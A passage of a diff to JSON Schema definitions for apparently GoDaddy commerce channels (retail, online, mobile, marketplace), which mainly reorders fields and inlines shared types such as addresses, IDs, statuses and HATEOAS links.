"minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - } - } - } + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "alias": { + "description": "Alias for the location", + "maxLength": 128, + "type": "string" + }, + "contacts": { + "description": "Contact details of the location", + "items": { + "properties": { + "phone": { + "$ref": "../common-types/phone.json", + "description": "Phone number details" + }, + "type": { + "$ref": "../common-types/phone-type.json", + "description": "Type of the contact phone" } - } - } + }, + "title": "Retail Location Contact", + "type": "object" + }, + "type": "array" } }, - { - "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Online Channel", - "type": "object", - "description": "Resource representing the Online Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "title": "Retail Location", + "type": "object" + } + }, + "title": "Retail Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -4199,237 +4649,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ] + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Mobile Channel", - "type": "object", - "description": "Resource representing the Mobile Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Online Channel", + "title": "Online Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -4437,237 +4883,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ] + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Marketplace Channel", - "type": "object", - "description": "Resource representing the Marketplace Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - 